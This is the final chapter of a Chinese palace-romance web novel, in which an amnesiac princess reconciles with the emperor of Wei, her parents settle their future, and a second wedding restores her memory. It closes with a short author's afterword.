哪知不知压到何物,一阵刺痛感紧令她惊呼一声,她瞬间清醒坐起来。 元栩被她的叫声惊醒时,见沈若辞从床榻上拿起他的香囊,眼神迷离地盯着。 他起身抱住她,又看了看她的背,才发现刚刚压到香囊的地方红了一块,忙伸手去揉,“还疼不疼?” 沈若辞随手将香囊递给他,“里边装着什么?” 话音刚落,沈若辞能感受到揉着她后背的那只手掌突然停了下来。停顿了一瞬之后,他托着她的腰,叫了她一声,“公主。” “你并没有恢复记忆。” 沈若辞沉默。 元栩了然,他疑惑道,“既然没有记起来,公主缘何要与朕春宵一度?” “不行吗?”沈若辞推开他,自顾自地披起中衣。 元栩见她毫不留恋自己的怀抱,不禁苦笑起来。待他决定起身穿衣时,目光不经意从她身后掠过,这才发现她微微泛红的耳垂。 “沿沿。”元栩换回从前的称呼,从背后将她圈在怀中,伸手捏着她的耳垂,他试着说出自己内心的想法,“沿沿没恢复记忆,不记得从前的朕,但还是喜欢朕,对不对?” 沈若辞身子一滞,半天没有反应。 元栩将人拥入怀中,让她躺在自己怀里,低头用额头贴了贴她的,又吻了吻她的唇。 沈若辞静静地看了他一会,抬手摸着他的脸庞,“你从前究竟是什么样的人,明明没有了关于你的记忆,我竟会一见面就被你吸引。” 元栩用脸去蹭她的手,“应该算不上好,为了得到沿沿使了坏心思,用强硬的手段逼沿沿嫁给朕。除却一颗爱沿沿的心,什么也没有。” “是么?”沈若辞愈发疑惑,“为什么你这么坏,而我的心,似乎并不讨厌你。” 元栩心潮起伏,“那只能是因为沿沿也有一颗爱朕的心。” 沈若辞没有否认,她尝试亲了亲他,那滋味真的令她欲罢不能。 亲着亲着两人又顺理成章地缠到一处。 正当酣战之时,殿外传来兰瑾的声音,“公主醒了吗?昨夜睡得怎么样?” 沈若辞惊得一下缩到元栩怀中,再不肯动一下。元栩只好忍着,忍得辛苦了才按着她的腰轻抽缓抵。 门口那名宫女知道大魏的皇帝昨夜留宿在此处,支支吾吾不知该如何回答。 元栩见沈若辞羞得满脸通红,终是不忍她受煎熬,及时从温柔乡里撤出来,简单清理了一下准备穿上衣裳去开门。 小宫女也在此时坦白了元栩在公主殿中留宿的事实,兰瑾吃了一惊,“他为何会在公主殿内?” 小宫女不知道情况,哪里回答得出来。兰瑾一时脸沉得能滴出水来,好在元栩此时已穿戴整齐,从里边将门打开一条缝。 元栩打了个哈欠,“陛下这么早找朕有事吗?” 兰瑾冷笑一声,“皇上看我是来找你的吗?” 元栩也不恼,恍然道,“原来陛下不是找朕,是来找朕的皇后。” 说话间沈若辞已穿好衣裳,头发也认真梳理了一番,这才拉了拉元栩的手,要他将兰瑾请进来。 兰瑾走进屋中坐了下来,小宫女紧随其后将茶水送了进来。 沈若辞赶紧倒上一杯热茶送到兰瑾手中,“阿娘,您喝口茶……” 兰瑾接了茶杯才喝上一口,沈墨也来了。 甫一进屋,沈墨便察觉到气氛不大对劲。 元栩慢悠悠地朝他递了个眼色,沈墨便也心知肚明。他刚从元栩那里过来,在他房里没找到人,就料准了他肯定在女儿这里。 只是没想过这小子又开始胡作非为,昨夜竟胆敢在兰瑾的眼皮子底下过来留宿。 尽管如此,沈墨到底还是盼着他夫妻二人和和美美,便道,“阿瑾,你没成过婚,大抵不知道这一点,年轻夫妻感情好一点其实是正常的。” 沈墨已经说得很隐晦了,兰瑾陡然将目光对准他,“我没成过婚,你成过?” 沈墨愕然,表情僵硬了一瞬,缓缓道,“我自然也是没有的,沿沿没同你说?我这不是见多了他们小夫妻相处,慢慢也就明白了。” 沈墨的话倒是令沈若辞吓了一跳,她真的与元栩之间真是那么亲密无间吗?连父亲都知道了。 元栩自是知道沈墨口中的见多了,不过是全凭他一张嘴说来说去,实际上根本也没见过几回。 沈墨见兰瑾一脸质疑,又继续说道,“阿瑾不要不相信,就在沿沿被那袁子逸挟持的前一晚,皇上在京郊办事,沿沿还冒着严寒连夜赶过去,就只为见她的丈夫一面。小年轻能互相想着对方,我们做父母该欣慰才是。” 她顶着严寒半夜去见元栩?沈若辞不可思议地抬头去向元栩确认她是否真的做过此事。元栩似乎洞察到她的心思,朝她抿嘴一笑又摇摇头。 果然不是,沈若辞想,她才没有这么迫不及待。 没想到元栩轻咳一声,“也不全是只为见朕一面,自然还做了别的事。” 兰瑾向来心直口快,“什么事?” 沈墨猛地咳嗽起来,咳到有点内伤,“阿瑾,小两口私底下的事,没必要问太清楚。” 沈若辞比兰瑾更有经验一些,她似乎很了解元栩,从他的眼神就能看出他说的是什么事,便将他狠狠地瞪了一眼。 沈墨拉着女儿的手,又拉过元栩的手,将两人的手交叠在一起,“好了,你们能恩爱如初,我做爹的是最开心的。沿沿也不必担心你回大魏后你娘要怎么办。阿爹已决定留在你阿娘的身边,替沿沿好好守着她。” 元栩起初还是很开心能得到沈墨的认可,可是听着听着,就开始发现自己是掉进了沈墨的陷阱。若沈墨单单只是来跟他说要辞官,再也不回大魏的话,他肯定是不会同意放沈墨走的。 可眼下沈墨的意思再清楚不过了,我把女儿交给你了,你也要同意我留在姜国。 沈墨步步紧逼,“皇上不会不同意吧?” 沈墨刚才将沈若辞的手交到他手中,这算是对他的一种认可。 而此刻手他心里正握着沈若辞的手,对方把话说到这个份上了,他还能说什么呢。再说下去可能连妻子都没了,元栩妥协道,“朕明白阿爹对阿娘的用心,但是阿爹也要为朕考虑一下,至少要先回大魏将朝廷的事处理完毕,再打算与阿娘团聚的事。” 沈墨点头,“自然,凡事有头有尾,政事要紧,臣自会抽时间回去处理。” 兰瑾温柔地看着女儿,“沿沿若真决定要回大魏,我做母亲的不会反对,我替沿沿高兴。但是……”兰瑾转而去看沈墨,“沈墨你要留在我们姜国的事,你问过我的意见吗,我同意了吗?” 沈若辞见状极有眼色地拍了怕元栩的手,“阿爹阿娘你们先聊,沿沿跟皇上过去用早膳先。”说着就拉上元栩的手要走,元栩却一副看好戏的心思,压根没有要走的意思。 “走不走?”沈若辞回头瞥了他一眼,兰瑾本想说不必了,话还没出口,就见那大魏皇帝像只癞皮狗一样乖乖跟着女儿走了。 兰瑾不禁咋舌。 后面沈墨不知道用了什么法子,最终说服兰瑾让他以后过来姜国长住。见兰瑾没有异议,沈若辞心里头也高兴,她可以安心跟元栩回大魏去了。 在沈若辞决定与元栩在一起后,他便火急火燎地安排起回大魏的事了。毕竟此番他出来已半月有余,朝廷上的事虽有元琛代为处理,他心里到底不放心。好在找到沈若辞后,他便派人通知程于秋回去看着元琛,以防他乱搞。 临近离别,沈若辞虽愿意跟元栩回去,但由于记忆还没恢复,心底里总归有几分不安。 兰瑾一直想亲眼看着女儿出嫁,所以早在前些天,私底下便秘密张罗起为沈若辞再办一场婚礼的事。 上回在大魏成婚,她的嫁衣配饰一应物品皆是元栩准备的,这次却都由兰瑾这位母亲亲自安排。 所以当沈若辞穿着漂亮华丽的嫁衣,梳上精致好看的发髻后,她忍不住站在镜子前看了一遍又一遍。 她回头去看兰瑾,嫣然一笑,“阿娘,好看吗?” 兰瑾眼中盛满了笑意,“我的沿沿是世间最美丽的新娘子。” 得到母亲的赞美,沈若辞红着脸又忍不住看向镜中。看着看着,她猛然觉得镜中人似曾相识,她之前穿嫁衣的场景开始在脑中一点一点地出现,最初是模糊的,慢慢的那些记忆就浮出了水面,便又变得清晰起来。 她嫁衣,她的妆容头面,无一不是最好看的,沈若辞望着镜中自己明艳的眉眼,静静地由兰瑾亲手替她盖上大红喜帕。 “阿娘,您怎么不哭呢?”沈若辞视线被遮挡,与兰瑾一同坐在床沿上聊天。她印象里很多话本中,女子出嫁时家里人都要哭上一哭。 兰瑾拉着女儿的手,“沿沿的大喜日子有什么好哭的,你能嫁给自己喜欢的人,阿娘开心都来不及。” 沈若辞像没骨头一样倒进兰瑾的怀中,“阿娘,我偷偷告诉您一件事。皇上他是我的心上人,我心里很高兴,我也不想哭。” 兰瑾轻轻地抱着女儿,千言万语都抵不过一句“心上人”的份量,她似乎也感同身受,变得年轻起来,“真好。” 洞房里的流程简单走了一遍后,众人便都识趣地退了出去。此时屋中只余这对“新婚夫妻”,灯光映衬下,沈若辞一双凤眸含情脉脉,看得人心里痒痒的。 元栩向来脸皮极厚,都被她看出几分不好意思来。 他大掌托着沈若辞后腰,轻抵着她的鼻尖,“这般看着朕做什么?” 沈若辞双颊艳若海棠,一对勾人的眸子无辜地眨呀眨,“皇上不洞房吗?” “不急,想听听沿沿对与朕的洞房花烛夜有何感想?” 沈若辞勾了勾唇,“在想这回成亲没有人强迫我,是我自愿嫁的。” 元栩整愣了一瞬,忽地明白过来,她那解药的副作用已过。此时已完全想起过往的事来,正拿话点他呢。 他当然不承认自己当初强娶她的往事,“若是没有当初朕一个人的努力,沿沿能有今天能这般完完整整地拥有朕?” 沈若辞恨恨地想,难怪当年觉得他是个纨绔。时至今日,仍是天下第一号的纨绔! 元栩却乐得将她一顿搓圆揉扁之后,终于问出了那日未曾说出口的问题,“沿沿,朕还有一个问题,你那位心上人究竟是何人?” 他屏息凝神,就等着从她口中听到自己的名字。 而沈若辞只是挑了挑眉,无辜道,“不知皇上问的哪个心上人?” 元栩将怀中的小女子按倒在床榻上,“现在不说,等下别求着朕让你说!” 正文完结 作者有话说:完结撒花,感谢陪伴[红心][红心][红心]《 》